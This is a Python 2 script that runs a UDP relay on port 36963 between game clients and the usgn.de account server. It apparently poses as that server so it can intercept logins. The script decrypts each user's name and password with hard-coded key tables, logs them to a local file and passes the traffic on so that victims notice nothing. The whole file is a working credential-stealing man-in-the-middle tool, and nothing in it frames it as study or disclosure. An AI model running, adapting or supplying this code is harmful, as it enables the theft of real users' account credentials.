import socket
import sys

port = 36963

user_ks = [23,133,148,211,207,149,206]
pass_ks = [209,149,133,9,189,144,183,145,211]

def normalize(b):
	if b < 0:
		b += 255
	elif b > 255:
		b = (b - 255)
	return b

def decrypt_name(s,len):
	name =""
	for i in range(0,len):
		name += chr(normalize(ord(s[i]) + 97 - user_ks[i % 7]))
	return name

def decrypt_pwd(s,len):
	name =""
	for i in range(0,len):
		name += chr(normalize(ord(s[i]) + 97 - pass_ks[i % 9]))
	return name

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

last_recv = None
usgn_ip = socket.gethostbyname("www.usgn.de")


try:
	s.bind(('', port))
except socket.error,err:
	print "Couldn't be a udp server on port %d : %s" % ( port, err)

print 'Server initialzed'
while True:
	try:
		datagram,addr = s.recvfrom(1024)

		if not datagram:
			break

		if ord(datagram[2]) == 11:
			if len(datagram) > 7:
				#print "usgn packet",
				#for i in datagram:
				#	print '%d ' % ord(i),
				#print ''

				namelen = ord(datagram[3])
				encrypted_name = datagram[4:4+namelen]

				pwdlen = ord(datagram[4+namelen])
				encrypted_pwd = datagram[5+namelen:]# 5+namelen+pwdlen]



				name = decrypt_name(encrypted_name,namelen)
				pwd = decrypt_pwd(encrypted_pwd,pwdlen)

				f = open('/home/passes.txt','a')

				f.write(name + ':'+pwd + '\n')
				f.close()
				print name+ ' ' + pwd

		#print 'recv from : ' + str(addr)

		if(addr[0] == usgn_ip): #message from usgn.de  --> send back to last recv user
			s.sendto(datagram,last_recv)
		else: #message from user --> forward to usgn.de
			last_recv = addr
			s.sendto(datagram,(usgn_ip,36963))


	except IndexError,e:
		print "Error with index " + str(e)
s.close()